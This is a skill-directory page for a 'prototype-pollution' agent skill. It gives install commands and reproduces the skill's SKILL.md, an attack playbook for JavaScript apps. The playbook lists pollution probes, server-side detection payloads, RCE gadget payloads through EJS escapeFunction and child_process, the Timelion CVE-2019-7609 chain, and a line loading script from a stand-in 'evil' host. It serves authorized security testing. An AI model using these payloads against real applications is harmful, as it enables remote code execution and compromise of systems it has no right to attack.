prototype-pollution — Claude Code skill: what it does, how to install
Tests JavaScript stacks for prototype pollution, from unsafe object merges to polluted-property reads. Use it for authorized Node or browser security reviews.
npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-codeWhat prototype-pollution does
The skill focuses on cases where user-controlled data becomes a nested object through JSON.parse, Object.assign, query parsers, or recursive merge code. It covers both __proto__ and constructor.prototype, with checks for URL fragments, JSON bodies, forms, and follow-up requests that reveal persistent side effects.
It includes merge-sink checks, server-side observation signals, and gadget-chain analysis involving qs, EJS, and child_process. The material also names tools for locating and verifying vulnerable surfaces. Keep testing to authorized targets: automated checks can affect stateful applications.
What it helps with
- find unsafe deep object merges
- test handling of the
__proto__key - compare
__proto__withconstructor.prototypepaths - observe side effects after prototype pollution
- trace polluted properties into EJS or
child_process
Example prompts for the agent
- Run an authorized prototype-pollution review of this JavaScript app. Check
JSON.parse,Object.assign, query parsing, and recursive merges. - Test the server’s JSON and query inputs with safe prototype-pollution checks, compare
__proto__andconstructor.prototype, and report observable follow-up effects. - Review this merge sink and identify whether EJS or
child_processlater reads properties through the prototype chain. Do not execute harmful commands.
How to install prototype-pollution
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code2Manually: put the files in place
~/.claude/skills/prototype-pollution/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/prototype-pollution/
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a codex2Manually: put the files in place
.agents/skills/prototype-pollution/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a cursor2Manually: put the files in place
.cursor/skills/prototype-pollution/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install yaklang/hack-skills prototype-pollution2Manually: put the files in place
.github/skills/prototype-pollution/SKILL.md1Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a gemini-cli2Platform CLI
gemini skills install https://github.com/yaklang/hack-skills --path skills/prototype-pollutionManually: put the files in place
.devin/skills/prototype-pollution/SKILL.mdThe legacy .windsurf/skills/ path still works
Skills CLI (Vercel)
npx skills add yaklang/hack-skills --skill prototype-pollution -a opencodeClaude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about prototype-pollution
How do I install prototype-pollution in Claude Code?
Run npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code, then run npx skills add yaklang/hack-skills --skill prototype-pollution -a claude-code again. The skill file is at ~/.claude/skills/prototype-pollution/SKILL.md.
What does prototype-pollution do?
It helps inspect JavaScript applications for prototype-pollution paths. The skill covers client and server inputs, object-merge behavior, and later code that may read polluted properties.
Which libraries and attack paths does it cover?
The material calls out lodash.merge, deep-extend, hoek.applyToDefaults, qs, EJS, and child_process. Testing should stay within authorized targets because automated checks can cause side effects.
Source text
SKILL.md · MIT
---
name: prototype-pollution
description: >-
Prototype pollution testing for JavaScript stacks. Use when user input is
merged into objects (query parsers, JSON bodies, deep assign), when
configuring libraries via untrusted keys, or when hunting RCE gadgets via
polluted Object.prototype in Node or the browser.
---
# SKILL: Prototype Pollution — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**.
Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects.
## 0. QUICK START
### Client-side first probes
```text
#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1
```
When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted.
```text
#__proto__[xxx]=alert(1)
```
### Server-side first probes(JSON / form)
```json
{"__proto__":{"polluted":true}}
```
```json
{"constructor":{"prototype":{"polluted":true}}}
```
After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table).
### Quick boolean
If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**.
---
## 1. MECHANISM
**Prototype chain**: when accessing `obj.key`, if `obj` lacks own property `key`, lookup walks up `[[Prototype]]` until `Object.prototype`.
**`__proto__`**: many parsers treat literal key `__proto__` as a magic path that attaches child properties to the prototype. Merging `{ "__proto__": { "x": 1 } }` can be equivalent to `Object.prototype.x = 1` depending on implementation and patch level.
**`constructor.prototype`**: `constructor` typically points to the object's constructor function; `constructor.prototype` is that constructor's prototype object. For plain objects this usually links to `Object.prototype`. Example path:
```json
{"constructor":{"prototype":{"polluted":1}}}
```
This is not always equivalent to `__proto__` (filtering, JSON parsing, Bun/Node differences), so **test both paths**.
**Core issue**: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to **prototype objects**, giving **global** or shared template context malicious properties that later code reads normally, triggering gadgets.
---
## 2. CLIENT-SIDE DETECTION
### URL fragment
```text
https://app.example/page#__proto__[admin]=1
```
```text
https://app.example/#__proto__[xxx]=alert(1)
```
If router or analytics code parses fragments into objects and then merges, pollution may occur.
### `constructor.prototype` path
```text
#constructor[prototype][role]=admin
```
### DOM / attribute injection ideas
If the framework merges attribute names as object keys:
```text
__proto__[src]=//evil/xss.js
```
Event-handler style keys (implementation-dependent):
```text
__proto__[onerror]=alert(1)
```
**Verification**: open a fresh page without fragment and check in console whether test keys remain on `Object.prototype`; account for extension and DevTools interference.
---
## 3. SERVER-SIDE DETECTION (Express / Node, black-box)
The payloads below assume body/query is deeply parsed into objects by **qs** or similar parsers (possibly with `body-parser`). Observe **global side effects**, not only current endpoint return values.
| Payload (JSON example) | Expected observable signal |
|----------------------|----------------|
| `{"__proto__":{"parameterLimit":1}}` | Multi-parameter parsing in follow-up requests is ignored or abnormal (`qs`-style `parameterLimit`) |
| `{"__proto__":{"ignoreQueryPrefix":true}}` | Double-question-mark prefixes like `??foo=bar` are accepted or behavior changes sharply |
| `{"__proto__":{"allowDots":true}}` | Nested keys like `?foo.bar=baz` are expanded via dot notation |
| `{"__proto__":{"json spaces":" "}}` | JSON-serialized responses gain extra spaces (`JSON.stringify` spacing setting polluted) |
| `{"__proto__":{"exposedHeaders":["foo"]}}` | CORS responses include `foo`-related headers (if framework reads config from prototype) |
| `{"__proto__":{"status":510}}` | Some response status changes to 510 or another abnormal code (app reads `status` from object) |
**Operational tip**: send pollution request first, then a **clean** request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.
---
## 4. EXPLOITATION GADGETS
| Target / scenario | Payload or pattern | Notes |
|-------------|------------|------|
| **EJS** | `{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}` | If template engine options like `escapeFunction` are read from polluted prototype, this may lead to RCE; strongly version/config dependent |
| **Timelion expression chain (CVE-2019-7609)** | `.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')` | Historical chain: prototype pollution + timeline expression execution; useful to understand **expression + PP** combinations |
| **Node `child_process`** | Pollute `shell`, `argv0`, `env`, `NODE_OPTIONS`, etc. (merged into `exec`/`fork` option objects) | Depends on whether later code calls `spawn`/`fork` and reads options from prototype chain |
| **Generic constructor path** | `{"constructor":{"prototype":{"foo":"bar"}}}` | Bypasses weak validation that filters only the `__proto__` key |
**Chain mindset**: pollution -> dependency reads `obj.settings.xxx` without `hasOwnProperty` -> RCE / SSRF / path traversal.
---
## 5. TOOLS
| Project | Purpose |
|------|------|
| **yeswehack/pp-finder** | Helps locate PP-prone merge points and patterns |
| **yuske/silent-spring** | Research and detection around prototype-pollution surfaces |
| **yuske/server-side-prototype-pollution** | Server-side PP testing suite/methodology |
| **BlackFan/client-side-prototype-pollution** | Browser-side PP cases and payloads |
| **portswigger/server-side-prototype-pollution** | Burp ecosystem extension / supporting material |
| **msrkp/PPScan** | Scanning/verification helper |
Prioritize use on **authorized** targets; automated tools can cause side effects on stateful applications.
---
## 6. DECISION TREE
```
Input merged into nested object?
(query, JSON, GraphQL vars, YAML→JSON)
|
NO --------------+-------------- YES
| |
Other vuln class Parser allows __proto__ /
constructor.prototype keys?
|
NO --------------+-------------- YES
| |
Check unicode / Confirm global effect:
bypass of key names clean follow-up request
| |
+--------------+----------------+
|
v
Gadget present? (template, spawn, JSON.stringify opts, CORS)
|
NO ------------------+------------------ YES
| |
Report PP as DoS / Build minimal RCE or
logic impact high-impact PoC
| |
+---------------------+-------------------+
|
v
Client-side: fragment / DOM / third-party script
Server-side: qs/body-parser/lodash/deep-merge version audit
```
---
## Related routing
- Input routing and multi-injection parallel entry -> [Injection Testing Router](../injection-checking/SKILL.md).
- Template execution chains (non-PP) -> [SSTI](../ssti-server-side-template-injection/SKILL.md).
- Insecure deserialization (non-JS prototype) -> [Deserialization](../deserialization-insecure/SKILL.md).
© yaklang · MIT · yaklang/hack-skills